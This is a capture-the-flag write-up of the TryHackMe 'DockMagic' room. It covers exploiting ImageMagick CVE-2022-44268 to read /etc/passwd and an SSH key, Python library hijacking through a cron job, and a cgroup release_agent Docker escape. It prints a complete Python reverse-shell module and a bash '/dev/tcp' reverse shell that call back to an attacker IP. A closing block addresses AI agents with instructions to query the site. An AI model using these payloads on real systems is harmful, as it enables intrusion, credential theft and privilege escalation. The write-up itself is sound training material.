# DockMagic

{% embed url="<https://tryhackme.com/room/dockmagic>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

We start off with a Nmap scan of our target. We can discover just two open ports. We have SSH on port 22 with OpenSSH 8.4p1 and on port 80 with nginx/1.18.0, a web server.

<figure><img src="/files/fnegzrZ01KzIpfcjPTA8" alt=""><figcaption></figcaption></figure>

Since only a web server is present, the first thing to do is enumerate possible directories. But running Gobuster on the IP of the machine does not give us satisfying results.

<figure><img src="/files/FsNoNpxSNtPT9P3PWmqb" alt=""><figcaption></figcaption></figure>

We visit the page with the IP of the machine and get redirected to `http://site.empman.thm/`. We add that to our host file and continue.

<figure><img src="/files/VIJPPtMubTsZFdfwfYKq" alt=""><figcaption></figcaption></figure>

Since we now know that subdomains are used, there might be more of them. We hit up FFuF to fuzz for possible subdomains. We are able to spot two subdomains: `backup` and `site`. The subdomain backup looks promising.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dockmagic]
└─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://empman.thm -H "Host: FUZZ.empman.thm"
```

<figure><img src="/files/MjIZNSwruq8xcRKG0kO9" alt=""><figcaption></figcaption></figure>

While Gobuster is running in the background, we move on to enumerate the web page manually, since the first 5000 entries of the wordlist does not lead to any results.

```bash
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dockmagic]
└─$ gobuster dir -u http://site.empman.thm -w /usr/share/wordlists/dirb/big.txt
```

<figure><img src="/files/mdkbtAmCCXOoOmNxK2OY" alt=""><figcaption></figcaption></figure>

At `backup.empman.thm` we find a zip file containing ImageMagick. ImageMagick is a free and open-source software suite for creating, editing, and converting raster and vector images. It provides a wide range of command-line tools and libraries for image manipulation and processing.&#x20;

Because of the room name DockMagick this might be about vulnerabilities in ImageMagick. Several vulnerabilities were present, and the first thing that came to mind was ImageTragick. But that's another tale and not part of this challenge:

{% embed url="<https://ine.com/blog/imagetragick-a-tragick-image-conversion-tale>" %}

<figure><img src="/files/jLFtzgGQ2l7zMDbKaipW" alt=""><figcaption></figcaption></figure>

The zip contains, besides ImageMagick, a to-do list, giving us a valuable hint. There are two serious to-dos: one about revoking the user's ssh keys and the other about switching to another image processor vips instead of ImageMagick because of recent security vulnerabilities. This once again confirms our assumption that we can somehow exploit ImageMagick.

<figure><img src="/files/PhoTOsToJcwYxbgVRQiD" alt=""><figcaption></figcaption></figure>

We check out the `install-unix.txt` to spot the used version. It is `ImageMagick-7.0.9`.&#x20;

<figure><img src="/files/6Uvy2SfPy6ssJ3u6g16e" alt=""><figcaption></figcaption></figure>

Next, we check out `http://site.empman.thm/`. Here, we are able to create a user with a profile picture. There might be an entry point using an ImageMagick vulnerability.

<figure><img src="/files/qO4LQCWWEGV77Mrv2ygt" alt=""><figcaption></figcaption></figure>

After account creation, we are able to edit or delete our account, there is nothing more to do.

<figure><img src="/files/zyasDwrTXdqpXGJP9n9y" alt=""><figcaption></figcaption></figure>

## Foothold: Flag 1

For foothold, we researched several CVEs regarding ImageMagick. One worked out. `CVE-2022-44268`. This applies to versions `7.1.0–49` and below matching our found version. With that, we are able to read arbitrary files. The images are manipulated in such a way that a payload is executed when the images are processed by ImageMagick, which queries information on the target system and then saves it in the image information. This means that the avatar of our account contains useful information after uploading.

{% embed url="<https://www.exploit-db.com/exploits/51261>" %}

<figure><img src="/files/XC4ALAkoe8pXaV2bHRpH" alt=""><figcaption></figcaption></figure>

As PoC we use the following:

{% embed url="<https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC>" %}

We modify our profile picture on our attacker machine to retrieve the contents of `/etc/passwd`.

`pngcrush -text a "profile" "/etc/passwd" tf2.png passwd.png`

<figure><img src="/files/gtIA67aJRau6sJ7d3QNY" alt=""><figcaption></figcaption></figure>

Via `exiv2` we review our changes to the PNG file.

<figure><img src="/files/kS5Ay10LvGBCLR8VpPrY" alt=""><figcaption></figcaption></figure>

Next, we create an account with our modified profile picture. The account update functionality did not work properly, so we kept creating new accounts to retrieve valuable information.

<figure><img src="/files/446H7ts3hSorO8WsV186" alt=""><figcaption></figcaption></figure>

We retrieve the profile picture from the Edit User page.

<figure><img src="/files/r8HSVM70KWSjAlfSJA7L" alt=""><figcaption></figcaption></figure>

To be able to read the information, we use tool `identify`.

<figure><img src="/files/TNVq255BNiyhfSl5Br76" alt=""><figcaption></figcaption></figure>

The information is encoded in hex.

<figure><img src="/files/LsqhhfdseVGe51hupjip" alt=""><figcaption></figcaption></figure>

For the sake of simplicity, we use CyberChef to decode the information. We are able to retrieve information from the target system. The machine is indeed vulnerable to `CVE-2022-44268`. We are able to spot the user `emp`.

<figure><img src="/files/9flkcKxe4LHkkG7bh0pL" alt=""><figcaption></figcaption></figure>

Recalling the to-do note in the zip file about the ssh keys, we try to access the key of the user `emp`.

<figure><img src="/files/AOhhOp99MaohZldpCfK1" alt=""><figcaption></figcaption></figure>

This time it takes a while, don't worry.

<figure><img src="/files/vu2rCKU5PDSe2RFTrUQf" alt=""><figcaption></figcaption></figure>

Again, we use identify on the downloaded profile picture...

<figure><img src="/files/zCG0DfT4xmkvX2iLDZsK" alt=""><figcaption></figcaption></figure>

And there is the ssh key encoded in hex.

<figure><img src="/files/MvQsz9c9IVRlSsH2dIcy" alt=""><figcaption></figcaption></figure>

We use CyberChef to decode it...

<figure><img src="/files/tS6WOKorK4QeNEuhAO39" alt=""><figcaption></figcaption></figure>

... and directly use it. We are able to log in as the user emp and find the first flag at `/home/emp/flag1.txt`.

<figure><img src="/files/EGCrvhL4AlyLXzce40ff" alt=""><figcaption></figcaption></figure>

## Privilege Escalation Part I: Flag 2

As always, on a Linux machine, we run `LinPEAS` to enumerate the target.

<figure><img src="/files/4qRZHy1srCGZtd5uaFUa" alt=""><figcaption></figcaption></figure>

We spot a cronjob running `/usr/local/sbin/backup.py` with a modified PYTHONPATH variable to `/dev/shm`. Interesting.

<figure><img src="/files/N5XE0XP9wCaNHp8P3UXx" alt=""><figcaption></figcaption></figure>

For confirmation, we run `pspy` and see the job running.

<figure><img src="/files/Qqh9V46uetmKt8YQ5sTh" alt=""><figcaption></figcaption></figure>

Luckily, we have write access to `/dev/shm`.

<figure><img src="/files/vJ52a7lFDVJhXaC9xRPi" alt=""><figcaption></figcaption></figure>

We inspect `/usr/local/sbin/backup.py` and see that a backup process is initiated on /`home/emp/app` using the `cbackup` module.

<figure><img src="/files/NoowOyRmAIRpCgFaZEBQ" alt=""><figcaption></figcaption></figure>

Since we are able to write to `/dev/shm` and the module is being looked for there first, we can control exactly what module is imported.

<figure><img src="/files/znBJHmDlAtR29tev5AdX" alt=""><figcaption></figcaption></figure>

For further reading on Python library hijacking, see the following link:

{% embed url="<https://rastating.github.io/privilege-escalation-via-python-library-hijacking/>" %}

We create our own module containing a reverse shell.

`vim /dev/shm/cbackup.py`

{% code title="/dev/shm/cbackup.py" lineNumbers="true" %}

```python
import os
import pty
import socket

lhost = "10.11.58.51"
lport = 4445

class cbackup:
    def close(*args):
        return

    def write(*args):
        return

    def __init__(self, *args):
        return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
```

{% endcode %}

We set up a listener on port 4445 and place our module at `/dev/shm/cbackup.py` and waited a bit. After a short duration, our reverse shell connects, and we are `root`. First things first, we upgrade our shell. We are root now, and we find the second flag in `/root/flag2.txt`.

<figure><img src="/files/GDz91GwKUBZIhkPSBC13" alt=""><figcaption></figcaption></figure>

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

## Privilege Escalation Part II: Flag 3

Again, we run `LinPEAS` and see that we are able to break out of the Docker container via mounts, see `release_agent breakout 2`. Since the Room is called DockMagick this might be the correct track.

<figure><img src="/files/H6dLkr7zPC3YrYHWemXA" alt=""><figcaption></figcaption></figure>

For further Docker enumeration, the script `deepce.sh` is used.

{% embed url="<https://github.com/stealthcopter/deepce>" %}

But it just confirms that the breakout is possible via groups/ mounts.&#x20;

<figure><img src="/files/5Hud53ALx5EGTIAHISBy" alt=""><figcaption></figcaption></figure>

A proof of concept is described in the following link. After running this PoC, the machine has to be restarted, because only `ps aux` which initally was placed in `/cmd` is being executed even after editing the `/cmd`.

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape>" %}

Running the Hacktricks Poc:

<figure><img src="/files/gzQR0QlvmFPbKMRmUKUy" alt=""><figcaption></figcaption></figure>

Since I was only able to use the exploit and did not fully understand it - something magically is happening here - at the time of writing, I will now refer to an excellent explanation of the Docker escape here:

{% embed url="<https://0xdf.gitlab.io/2021/05/17/digging-into-cgroups.html>" %}

Instead of `ps aux`, we place a reverse shell in the cmd.

```bash
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
ls /tmp/cgrp
ls /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo "/bin/bash -i >& /dev/tcp/10.11.58.51/4443 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```

We set up a listener on 4443, and after executing `sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs".` We escaped the Docker container.

<figure><img src="/files/1Gqi3ql4J25HieTLYo9Q" alt=""><figcaption></figcaption></figure>

From there, we are able to spot the third flag at `/home/vagrant/flag3.txt`.

<figure><img src="/files/9b5KvqE3rQriADje8oZz" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2023/dockmagic.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
